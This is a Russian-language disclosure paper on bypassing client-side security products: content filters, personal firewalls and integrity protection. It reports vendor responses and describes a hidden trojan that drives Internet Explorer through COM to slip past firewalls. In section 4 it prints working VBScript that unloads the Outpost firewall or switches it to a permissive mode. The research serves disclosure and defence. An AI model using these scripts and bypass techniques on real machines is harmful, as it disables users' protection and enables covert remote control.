На прошлой неделе был опубликован доклад двух российских исследователей в области безопасности информационных технологий. В докладе, названном "Обход средств защиты с помощью Notepad" обсуждается неудовлетворительное состояние средств защиты клиентских приложений. Авторы делают акцент на том, что для проведения успешной атаки на корпоративную сеть совершенно не обязательно взламывать сервера. Злоумышленнику достаточно поставить троянскую программу на компьютер пользователя, и через него получать доступ к ресурсам сети. Все приведенные примеры были созданы с помощью текстового редактора Notepad, что преследовало цель продемонстрировать, с какой легкостью современные средства защиты может обойти человек без специальных знаний.
3APA3A, <3APA3A@security.nnov.ru>, offtopic, <offtopic@mail.ru>
Авторы благодарят Игоря Митюрина за тестирование и координацию работ с
уязвимостями CheckPoint. Также авторы выражают благодарности компании
Checkpoint за сотрудничество, компании Agnitum за дебаты по вопросам
"Опоссума" и некоторые идеи.
Отказ от обязательств
</САРКАЗМ>Эта статья не является попыткой научить скрипт-кидди писать троянские программы, и уж тем более не попытка создать подобную программу авторами. Это предложение сообществу специалистов в области безопасности начать осуждение механизмов защиты клиентских приложений. Авторы проносят свои извинения тем производителям, продукты которых содержат описанные в статье уязвимости. Авторы уверенны, что решать надо не конкретные проблемы, но менять отношение к защите клиентских приложений, что требует архитектурных модификаций средств защиты. Если ситуация не изменится, любой школьник, умеющий писать программы на Бейсике сможет получить доступ в защищенную сеть. Авторы разделяют точку зрения, что описанные проблемы не являются уязвимостями продуктов.
<САРКАЗМ>Так, Pedram?
<АПЛОДИСМЕНТЫ />
1. Введение
1.1 Зачем защищать клиентов?
В последние годы мы наблюдаем революцию в области безопасности сетевой инфраструктуры. К более безопасным и стабильным сетевым службам и операционным система добавились такие решения как межсетевые экраны, работающие на седьмом уровни модели OSI, системы обнаружения и предотвращения атак, отказоустойчивые кластеры и распределенные системы борьбы с DDoS атаками... Но в области защиты клиентских приложений практически ничего не изменилось.
Безопасность браузеров, почтовых клиентов, программ мгновенного обмена сообщениями, по сути, находится на том же уровне, что и 5 лет назад. Более того, ситуация ухудшилась, поскольку бизнес стал более зависим от этих приложений. Попробуйте предложить своему боссу отказаться от использования электронной почты.
<АПЛОДИСМЕНТЫ />Почему мы должны заботиться о безопасности клиентских приложений? Поскольку они представляют собой точку периметра. Браузер может одновременно использоваться и для загрузки свежих программ с www.astalavista.com и для работы с банковским приложением.
<ВОЗРАЖЕНИЯ ИЗ ЗАЛА, ПРОИГНОРИРОВАНЫ />Мы, в числе других специалистов в области безопасности считаем, что индустрия движется в неправильном направлении. В данной статье мы попытаемся показать, как получить доступ в защищенную по современным меркам корпоративную сеть без использования специальных средств и знаний. Что бы не утомлять читателей ассемблерным кодом, все примеры были созданы с использованием Notepad.exe и не нуждаются в компиляции и специальных знаниях для понимания.
1.2 Какие средства защиты клиентов используются в ваш сети?
Существует не так уж много средств защиты корпоративных клиентов. К ним принадлежат межсетевые экраны с функцией фильтрации содержимого (мы относим в эту же категорию антивирусные системы) и различные "персональные" межсетевые экраны и антивирусы. Многие персональные средства защиты контролируют целостность настроек, и прикладных задач, ограничивают сетевое взаимодействие неизвестных приложений, а так же блокируют потенциально небезопасные вызовы API.
Существуют и другие методы защиты клиентов, некоторые из которых обсуждаются далее, но к сожалению, они либо находятся в зачаточном состоянии либо используются крайне редко.
1.3 Я не использую перечисленные продукты! Мне стоит читать дальше?
Мы не собираемся учить вас тому, как взламывать конкретную программы. Последние события, связанные с оплатой уязвимостей в браузере Mozilla показывают, что за $500 можно найти уязвимость в любом приложении. Про Internet Explorer мы не будем даже упоминать - спрос гораздо выше. Соответственно - 500 долларов, это всё, что необходимо для проникновения в вашу сеть. И эти деньги не понадобятся для обхода персональных межсетевых экранов и фильтров содержимого. Они обходятся любым школьником бесплатно. Если это все что у вас есть, значит, у вас нет никакой защиты. В действительности, компании типа iDefense делают для защиты вашей компании больше чем многие производители средств защиты. Они скупают уязвимости до того, как они попадут на теневой рынок.
<СМЕХ, ВОЗРАЖЕНИЯ (ПРОИГНОРИРОВАНЫ), АПЛОДИСМЕНТЫ /> </САРКАЗМ>Проблема оплаты поиска уязвимостей не так проста, как кажется многим. Здесь уместна аналогия с рынком программного обеспечения. Без коммерческого программного обеспечения freeware не выживет, поскольку любому человеку нужны деньги.
<САРКАЗМ>Full-disclosure? Who believe in it..
И так, демонстрации:
Выше приведен список уязвимых продуктов. Он далеко не полон. Мы связались с некоторыми производителями и от некоторых получили ответы. Были выпущены обновления, но ни один из производителей не сумел закрыть все описанные уязвимости.
<ТРЕВОЖНАЯ ТИШИНА В ЗАЛЕ /> <ВСЕ ДОСТАЮТ ИЗ СУМОК ЧЕРНЫЕ ШЛЯПЫ И НАДЕВАЮТ ИХ />2. Снова и снова - обход фильтров содержимого
Аксиома: всегда можно найти ещё один способ обхода фильтров содержимого. Описание: поскольку фильтры содержимого и клиентское приложение используют различные алгоритмы обработки данных, данные будут по-разному обрабатываться клиентским приложением и фильтром содержимого.
2.1 Тестовая конфигурация
В процессе тестирования мы проверяли модули фильтрации содержимого двух межсетевых экранов: Checkpoint представлял семейство корпоративных продуктов,
Agnitum Outpost Pro выступал представителем персональных экранов. Оба продукта были настроены на фильтрацию сценариев VBScript и JavaScript и элементов ActiveX.
Используя различные техники [1] были созданы WEB-страницы, обрабатываемые браузером Internet Explorer как сценарии, обходя защиту межсетевых экранов (не говоря об антивирусах, всё же это не их дело).
2.2 Описание тестов:
2.2.1 http://www.security.nnov.ru/files/opossum/test1.html Проблемы с обработкой специальных символов (0x0B). [1].II.9
2.2.2 http://www.security.nnov.ru/files/opossum/test2.html Проблемы с обработкой кодировки RFC2781 (UTF-16, little endian). [1].II.1
2.2.3 http://www.security.nnov.ru/files/opossum/test3.html Проблемы с обработкой кодировки RFC2781 (UTF-16, big endian). [1].II.1
2.2.4 http://www.security.nnov.ru/files/opossum/test4.gif Различные методы обработки типа содержимого [1].II.13
2.2.5 http://www.security.nnov.ru/files/opossum/test5.gif Расширение 2.2.4 за счет использования проблем буферизации потока.
2.2.6 http://www.security.nnov.ru/files/opossum/test6.html Проблемы с обработкой специальных символов (0x00). [1].II.9
2.2.7 http://www.security.nnov.ru/files/opossum/test7.asp Проблемы с обработкой кодировки UTF-7 (Content-Type) [1].II.2
2.2.8 http://www.security.nnov.ru/files/opossum/test8.html Проблемы с обработкой кодировки (Meta http-equiv) [1].II.2
2.2.9 http://www.security.nnov.ru/files/opossum/test9.html Отсутствие проверки сценариев в выражениях expression(). Описано http-equiv (malware.com).
2.2.10. http://www.security.nnov.ru/files/opossum/test10.html
Отсутствие проверки сценариев в стилях [1].II.15
2.2.11 http://www.security.nnov.ru/files/opossum/test11.mht Отсутствие обработчика файлов MHTML (RFC2557)
Эти техники известны уже несколько лет. Outpost не прошел ни одного теста. Checkpoint провалил 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9, 2.2.10, 2.2.11.
2.3 Ответы производителей:
Мы связывались и с Checkpoint и с Agnitum. Checkpoint обещал закрыть тестируемые уязвимости в комплексном хотфиксе R55HFA10. В тестовом варианте хотфикса блокировались уязвимости с 2.2.1 по 2.2.10. Для устранения 2.2.11 Checkpoint предлагает заблокировать некоторые файлы (что не может считаться, на наш взгляд, адекватным решением). Релиза R55HFA10 еще не было и блокирование теста 2.2.11 под вопросом. Agnitum устранил 2.2.1 и 2.2.7 уязвимости в версии 2.5. Остальные проблемы не устранены и сроки устранения нам неизвестны.
Перед тем как ссылаться на эти уязвимости, проверьте свой фильтр содержимого.
3. Обход ограничения сетевого доступа с использованием доверенного приложения
Аксиома: Троян умеет все, что умеет клиентская программа
После того, как мы успешно выполнили атаку, нам необходимо получить контроль над взломанным компьютером.
Многие персональные межсетевые экраны ограничивают сетевой доступ, путем отслеживания, какие из приложений пытаются взаимодействовать с сетью. Часто контролируется и целостность разрешенных приложений, что бы вредоносное ПО не могло модифицировать их код. Это делает невозможной установку троянских программ для удаленного управления.
Общая идея обхода подобных мер защиты, это использование доверенного клиентского приложения (например, браузера) для доступа к внешней сети. Обычно это реализуется путем контроля приложения с использованием техник внедрения DLL, WriteProcessMemory(), CreateRemoteThread() и т.д. и т.п. Описание этих техник можно найти в документах [2] и [3].
Использование этих техник зачастую требует высоких привилегий и достаточно хороших знаний операционных систем. Кроме того, современные межсетевые экраны часто блокируют потенциально небезопасные вызовы API. Ещё одной неприятностью заключается в том, что при реализации это подхода приходиться самостоятельно реализовывать все сетевое взаимодействие, ожидаемое от клиентской программы (например, HTTP для браузера) и задействовать механизмы определения сетевой топологии. Т.е. если в сети есть Proxy, необходимо уметь работать через него. Кроме того, доступ клиентского приложения к различным сетевым адресам может быть ограничен на межсетевом экране.
Мы не любим сложных решений. Как все люди, мы ленивы, поэтому мы предлагаем вашему вниманию CAT (Client Application Trojaning). Мы контролируем клиентское приложение без модификации его кода.
По ссылке http://www.security.nnov.ru/files/opossum/CAT.zip вы можете найти приложение, демонстрирующее данный подход. Программа использует COM для запуска и контроля клиентского приложения (Internet Explorer). Это позволяет получить практически полный доступ к ресурсам приложения и использовать его для работы с нашим сервером, используя контекст безопасности текущего пользователя, а так же сетевые настройки (Proxy-сервер и т.д.). В нашем приложении не нужно реализовывать клиента HTTP, это сделал за нас Microsoft.
Для обхода разграничения доступа к серверам, мы используем работу через потенциально разрешенные серверы. В пример используется популярный сервер электронной почты - mail.ru. Есть масса других возможностей, такие как доски объявлений, серверы поиска работы (вы никогда не получали резюме от Трояна?), on-line переводчики http://translate.google.com/translate?hl=en&u=www.security.nnov.ru да и просто переводчики, сами поисковые системы... Правда в последнем случае итерация будет занимать несколько дней.
В нашем примере CAT PoC работает следующим образом:
Удалите строку IE.Visible = true для запуска в скрытом режиме.
Все эти замечательные возможности умещаются в 100 строк кода на VBS. Как видите, иногда Бейсик гораздо эффективнее ассемблера.
<РАЗВЕ С ЭТИМ НЕ СПРАВИТЬСЯ РЕБЕНОК? />Червь ILOVEYOU и другие вирусы, написанные на языках сценариев, показали, что подобную программу может написать четырнадцатилетний школьник. Учитывая тесную интеграцию Windows Scripting Hosts с системой и постоянно развивающиеся возможности WMI, можно ожидать всплеска подобных "решений".
Все тестируемые персональные межсетевые экраны не смогли обнаружить CAT. Исключение составил Outpost 2.5, который предупредил о создании COM приложения. Однако через пять минут исследований и такого же количества строчек кода CAT научился работать через Outpost 2.5. Это мы оставляем в качестве домашнего задания.
Подсказка: Для успешной инициализации IE должен создаваться после запуска IE пользователем.
4. Обход защиты целостности
Аксиома: Троян умеет все, что умеет пользователь
Сценарий выгрузки Outpostset WShell = CreateObject("WScript.Shell") WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe" WScript.Sleep 200 WShell.AppActivate "Agnitum", TRUE WScript.Sleep 100 WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}" WScript.Sleep 100 WShell.SendKeys "{ENTER}"Сценарий переключает Outpost в "мягкий" режим
set WShell = CreateObject("WScript.Shell") WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe" WScript.Sleep 100 WShell.AppActivate "Agnitum", TRUE WScript.Sleep 10 WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}" WScript.Sleep 10 WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}" WScript.Sleep 10 WShell.SendKeys "a{ENTER}" WScript.Sleep 10 WShell.SendKeys "{F10}{LEFT}{DOWN}" WScript.Sleep 10 WShell.SendKeys "n"5. Заключение.
Аксиома: В защите клиентов нет аксиом
Одно из наиболее приемлемых направлений в защите клиентских приложений, это реализация замкнутой среды выполнения, так называемой "песочницы". Существует ряд попыток реализовать подобные решения без ограничения функциональности, к примеру - GeSWall [4](в настоящее время этот проект ищет спонсора). Существует ряд коммерческих решений, но реализация большинства из них не обеспечивает должного уровня изоляции клиентских приложений. Даже виртуальные машины большинства производителей так же имеют каналы взаимодействия с базовой операционной системой, которыми могут воспользоваться злоумышленники. Еще одно неплохое решение - вынос потенциально опасных приложений в клиентскую ДМЗ с организацией доступа к ним через терминальные серверы [5]. Конечно же, это решение тоже не гарантирует 100% безопасности.
<БУРНЫЕ И ПРОДОЛЖИТЕЛЬНЫЕ АПЛОДИСМЕНТЫ, ВОЗРАЖЕНИЯ (ПРОИГНОРИРОВАНЫ), ТУХЛЫЕ ЯЙЦА ИЗ ЗАЛА (ПОДДЕРЖАНЫ ВЫСТУПАЮЩИМИ) />6. Ссылки:
<WARNING: Тег САРКАЗМ не был открыт в документе \> <WARNING: Тег САРКАЗМ не был закрыт в документе \>
Первое — находим постоянно, второе — ждем вас